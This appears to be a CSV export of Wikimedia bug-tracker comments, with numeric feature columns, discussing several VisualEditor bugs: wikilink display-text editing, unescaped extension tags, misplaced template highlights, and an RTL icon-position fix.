244299,VisualEditor: Wikilink editing does not permit easy alteration of display text,"(In reply to Elitre from comment #6)
> What Chris described at comment#3 is still happening:
> https://fr.wikipedia.org/w/index.
> php?title=St%C3%A9phane_Bern&diff=100014868&oldid=98819232 .

That's now in bug 62819, which we believe we have just fixed this week (to go out on Thursday). Closing this. The suggestion that there be two edit fields in the link inspector (one for anchor, the other for target) is tracked in bug 53973.",,,1395196799,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,3.0,0.0,4.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,12.0,1.0,0.0,10.0,0.0,0.0,0.0,1.0,3.0,0.0,7.0,0.0,3.0,17.0,4.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.4166666666666665,0.7361111111111112,"(In reply to Elitre from comment #6)
QUOTE
QUOTE
QUOTE

That's now in bug 62819, which we believe we have just fixed this week (to go out on Thursday). Closing this. The suggestion that there be two edit fields in the link inspector (one for anchor, the other for target) is tracked in bug 53973."
244293,VisualEditor: Wikilink editing does not permit easy alteration of display text,"What Chris described at comment#3 is still happening:
https://fr.wikipedia.org/w/index.php?title=St%C3%A9phane_Bern&diff=100014868&oldid=98819232 .",,,1391011992,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,False,,,30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,4.25,1.0,"What Chris described at comment#3 is still happening:
URL ."
244288,VisualEditor: Wikilink editing does not permit easy alteration of display text,"This is no longer true, since late July when editing of link anchors was made ""spanning""; closing.",,,1377807543,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,3.727272727272727,0.9545454545454546,"This is no longer true, since late July when editing of link anchors was made ""spanning""; closing."
244283,VisualEditor: Wikilink editing does not permit easy alteration of display text,"This is causing content corruption on the live wiki.

A user apparently trying to change a link from [[Blackpool Grand Theatre]] to [[Grand Theatre, Blackpool]] over two edits failed to do this:

1. ""[[Blackpool Grand Theatre]] and"" → ""[[Blackpool Grand Theatre|Blackpool Grand Theatre]] and""
2. ""[[Blackpool Grand Theatre|Blackpool Grand Theatre]]"" → ""G[[Blackpool Grand theater|rand Theater, Blackpool, ]]<nowiki/>and""

https://en.wikipedia.org/w/index.php?title=Bernie_Nolan&diff=prev&oldid=564655203
https://en.wikipedia.org/w/index.php?title=Bernie_Nolan&diff=next&oldid=564655203

This should not be marked as an enhancement, changing links without mangling the text should be a core requirement of VE.",,,1374080214,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,1.0,1.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,6.0,0.0,1.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,19.0,0.0,1.5,5.5,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,6.0,15.0,0.0,5.5,0.0,0.0,0.0,0.0,2.5,0.0,2.5,0.0,0.0,8.5,3.8015873015873014,0.6031746031746033,"This is causing content corruption on the live wiki.

A user apparently trying to change a link from [[Blackpool Grand Theatre]] to [[Grand Theatre, Blackpool]] over two edits failed to do this:

1. ""[[Blackpool Grand Theatre]] and"" → ""[[Blackpool Grand Theatre|Blackpool Grand Theatre]] and""
2. ""[[Blackpool Grand Theatre|Blackpool Grand Theatre]]"" → ""G[[Blackpool Grand theater|rand Theater, Blackpool, ]]<nowiki/>and""

URL
URL

This should not be marked as an enhancement, changing links without mangling the text should be a core requirement of VE."
244278,VisualEditor: Wikilink editing does not permit easy alteration of display text,"It should be. However my testing showed that this was not reliable and sometimes resulted in odd wikicode, e.g. [[Ecuador|<nowiki/>]][[Egypt|E]][[Egypt|gypt]] when changing ""Ecudor"" to ""Egypt"".

See https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&diff=563097916&oldid=563090562",,,1373870516,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,8.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,8.0,5.0,0.0,10.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,10.0,4.538461538461538,0.8461538461538461,"It should be. However my testing showed that this was not reliable and sometimes resulted in odd wikicode, e.g. [[Ecuador|<nowiki/>]][[Egypt|E]][[Egypt|gypt]] when changing ""Ecudor"" to ""Egypt"".

See URL"
244273,VisualEditor: Wikilink editing does not permit easy alteration of display text,"""and unless you delete the link completely there is no way of doing otherwise...,""

Isnt (2) and (3) possible by editing the text of the wikilink in the normal editor (i.e. not the link dialog), after selecting the link target?

I must admit I was dumbfounded for a few minutes when trying to do (2), until it occurred to me that I can edit the text in the page.

(3) is a bit harder, as the user must change the target from 'Mercury' to 'Freddie Mercury', then change the text to 'MFreddie Mercury', then remove the leading 'M'.",,,1373850602,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,False,,,2,,0.5,0.0,0.5,0.5,0.5,1.5,1.0,0.0,0.0,0.5,3.0,6.0,0.0,0.0,0.5,2.5,0.0,5.0,10.5,0.0,1.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,2.5,0.0,1.0,0.5,0.5,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.5,0.0,0.5,0.0,9.0,2.5,7.0,2.0,1.0,9.5,0.0,0.0,0.0,0.0,4.5,0.0,1.5,0.0,4.0,10.5,4.0,0.5,7.0,0.0,4.0,0.0,0.5,1.5,1.0,3.0,1.0,0.0,2.0,3.2954545454545454,0.6742424242424243,"""and unless you delete the link completely there is no way of doing otherwise...,""

Isnt (2) and (3) possible by editing the text of the wikilink in the normal editor (i.e. not the link dialog), after selecting the link target?

I must admit I was dumbfounded for a few minutes when trying to do (2), until it occurred to me that I can edit the text in the page.

(3) is a bit harder, as the user must change the target from 'Mercury' to 'Freddie Mercury', then change the text to 'MFreddie Mercury', then remove the leading 'M'."
244269,VisualEditor: Wikilink editing does not permit easy alteration of display text,"I'm guessing it would be possible for the display as thing to also have suggestions, e.g. in most cases on en.wp if a title has parentheses then you don't want to display what is in them as it is disambiguation. For example if you chose the link [[Mercury (planet)]] the software could say ""Do you want to display this as ""Mercury""?",,,1373319371,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,1.0,0.0,5.0,17.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,8.0,1.0,3.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,5.0,4.0,7.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,17.0,4.0,1.0,4.0,0.0,9.0,0.0,1.0,1.0,1.0,1.0,0.0,1.0,3.0,3.6266666666666665,0.7333333333333333,"I'm guessing it would be possible for the display as thing to also have suggestions, e.g. in most cases on en.wp if a title has parentheses then you don't want to display what is in them as it is disambiguation. For example if you chose the link [[Mercury (planet)]] the software could say ""Do you want to display this as ""Mercury""?"
52944,Extension tags are not nowiki escaped during serialization.,"Typing certain tag based code into VE such as:

<math>1+2=3</math>
<ref>Hi</ref>

Bug reported by [[User:Dragons flight|Dragons flight]] at https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Some_tags_are_not_properly_escaped

Confirmed.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1373295960,1373331687.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-7rcg5rkjl6kyyl4elbfa,task_description,resolved,True,c1,3,True,False,True,1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,14.0,3.6551724137931036,0.6551724137931034,"Typing certain tag based code into VE such as:

<math>1+2=3</math>
<ref>Hi</ref>

Bug reported by [[User:Dragons flight|Dragons flight]] at URL

Confirmed.

--------------------------
**Version**: unspecified
**Severity**: normal"
244239,Extension tags are not nowiki escaped during serialization.,"Change 72536 merged by jenkins-bot:
(Bug 50944) Fix stale regexp in wikitext escaping for ext tags

https://gerrit.wikimedia.org/r/72536",,,1373307982,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7rcg5rkjl6kyyl4elbfa,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,1.0,"Change 72536 merged by jenkins-bot:
(Bug 50944) Fix stale regexp in wikitext escaping for ext tags

GERRIT_URL"
244233,Extension tags are not nowiki escaped during serialization.,"Change 72536 had a related patch set uploaded by Subramanya Sastry:
(Bug 50944) Fix stale regexp in wikitext escaping for ext tags

https://gerrit.wikimedia.org/r/72536",,,1373301144,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7rcg5rkjl6kyyl4elbfa,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.357142857142857,1.0,"Change 72536 had a related patch set uploaded by Subramanya Sastry:
(Bug 50944) Fix stale regexp in wikitext escaping for ext tags

GERRIT_URL"
52913,VisualEditor: Selection highlight for templates/etc. mis-placed,"Copied from English Wikipedia, where it was added by TeamGale:
""when I add the reference/template, if I want to edit it again it's not easy to choose it since the ""blue line"" that has to be on the text appears completely elsewhere and I can't click it. I took a screenshot""

See:
http://en.wikipedia.org/wiki/File:Misplaced_edit_for_a_template.jpg

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1373238780,1375298816.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-ur6l6l2ezqzug2nab347,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,1.0,1.0,2.0,5.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,8.0,9.0,0.0,3.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,6.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,14.0,5.0,1.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,9.0,3.0,0.0,5.0,0.0,10.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5057471264367814,0.6666666666666666,"Copied from English Wikipedia, where it was added by TeamGale:
""when I add the reference/template, if I want to edit it again it's not easy to choose it since the ""blue line"" that has to be on the text appears completely elsewhere and I can't click it. I took a screenshot""

See:
URL

--------------------------
**Version**: unspecified
**Severity**: major"
242402,VisualEditor: Selection highlight for templates/etc. mis-placed,I believe that this has now been fixed given the changes to how the CSS is cached.,,,1375298816,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ur6l6l2ezqzug2nab347,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,11.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9444444444444444,I believe that this has now been fixed given the changes to how the CSS is cached.
242399,VisualEditor: Selection highlight for templates/etc. mis-placed,"As noted in the duplicate bug 50991, this issue is somewhat elusive but definitely occurring for some users. Given the impact when it does, increasing severity and importance.",,,1373351277,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-ur6l6l2ezqzug2nab347,task_subcomment,,True,c1,3,False,,,1,,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,3.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,6.0,3.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,4.625,0.90625,"As noted in the duplicate bug 50991, this issue is somewhat elusive but definitely occurring for some users. Given the impact when it does, increasing severity and importance."
242395,VisualEditor: Selection highlight for templates/etc. mis-placed,*** Bug 50991 has been marked as a duplicate of this bug. ***,,,1373351191,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-ur6l6l2ezqzug2nab347,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50991 has been marked as a duplicate of this bug. ***
52905,VisualEditor: Transclusion icon appears on the opposite side of the page in RTL wikis,"Replication steps:

1. go here: https://he.wikipedia.org/wiki/%D7%A8%D7%97%D7%95%D7%91_%D7%99%D7%A8%D7%95%D7%A9%D7%9C%D7%99%D7%9D?veaction=edit

2. Click the box on the left (a 'street' template in the hebrew wiki)

3. The ""Transclusion"" icon appears on the right edge instead of the left. 

Happens in Chrome and Firefox 22.0 under Windows.

I suspect this is again a problem with the flipped position settings. I will take a look in the code.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1373232900,1377734473.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-z5vtizhnd7zq6vobiqci,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,11.0,1.0,13.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,8.0,6.0,0.0,4.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.5555555555555554,0.6262626262626263,"Replication steps:

1. go here: URL

2. Click the box on the left (a 'street' template in the hebrew wiki)

3. The ""Transclusion"" icon appears on the right edge instead of the left. 

Happens in Chrome and Firefox 22.0 under Windows.

I suspect this is again a problem with the flipped position settings. I will take a look in the code.

--------------------------
**Version**: unspecified
**Severity**: normal"
241996,VisualEditor: Transclusion icon appears on the opposite side of the page in RTL wikis,"Change 79165 merged by jenkins-bot:
Fixing inspector popup position

https://gerrit.wikimedia.org/r/79165",,,1377734475,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z5vtizhnd7zq6vobiqci,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.8,1.0,"Change 79165 merged by jenkins-bot:
Fixing inspector popup position

GERRIT_URL"
241992,VisualEditor: Transclusion icon appears on the opposite side of the page in RTL wikis,*** Bug 53161 has been marked as a duplicate of this bug. ***,,,1377187521,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-z5vtizhnd7zq6vobiqci,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53161 has been marked as a duplicate of this bug. ***
241986,VisualEditor: Transclusion icon appears on the opposite side of the page in RTL wikis,I posted a fix which seems to work but requires some testing and review. Also testing in RTL seems to work.,,,1376519672,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-z5vtizhnd7zq6vobiqci,task_subcomment,,True,c1,3,False,,,6,,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,13.0,0.0,9.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,13.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,13.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,3.782608695652174,0.782608695652174,I posted a fix which seems to work but requires some testing and review. Also testing in RTL seems to work.
241979,VisualEditor: Transclusion icon appears on the opposite side of the page in RTL wikis,"Change 79165 had a related patch set uploaded by Mooeypoo:
Fixing inspector popup position

https://gerrit.wikimedia.org/r/79165",,,1376519264,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z5vtizhnd7zq6vobiqci,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,5.0,1.0,"Change 79165 had a related patch set uploaded by Mooeypoo:
Fixing inspector popup position

GERRIT_URL"
241975,VisualEditor: Transclusion icon appears on the opposite side of the page in RTL wikis,"(In reply to comment #2)
> This may be an issue with the way the icon appears in general, not just
> specifically RTL. It seems the transclusion icon pops up on the side of the
> page, assuming the position is always on the side -- instead of, perhaps,
> appearing where the template box is located regardless of alignment.
> 
> I am not sure if this fix shouldn't be a deeper VE fix rather than the
> language-directionality specific fix.

Yes, I think a deeper fix might be appropriate - would you want to do that, or should I ask Rob?",,,1376517055,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z5vtizhnd7zq6vobiqci,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,26.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,11.0,2.0,2.0,0.0,6.0,6.0,13.0,2.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.978723404255319,0.6808510638297872,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, I think a deeper fix might be appropriate - would you want to do that, or should I ask Rob?"
241970,VisualEditor: Transclusion icon appears on the opposite side of the page in RTL wikis,"This may be an issue with the way the icon appears in general, not just specifically RTL. It seems the transclusion icon pops up on the side of the page, assuming the position is always on the side -- instead of, perhaps, appearing where the template box is located regardless of alignment.

I am not sure if this fix shouldn't be a deeper VE fix rather than the language-directionality specific fix.",,,1376507435,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-z5vtizhnd7zq6vobiqci,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,1.0,4.0,5.0,5.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,13.0,12.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,1.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,6.0,6.0,2.0,0.0,16.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,2.0,1.0,0.0,0.0,4.036585365853658,0.7195121951219512,"This may be an issue with the way the icon appears in general, not just specifically RTL. It seems the transclusion icon pops up on the side of the page, assuming the position is always on the side -- instead of, perhaps, appearing where the template box is located regardless of alignment.

I am not sure if this fix shouldn't be a deeper VE fix rather than the language-directionality specific fix."
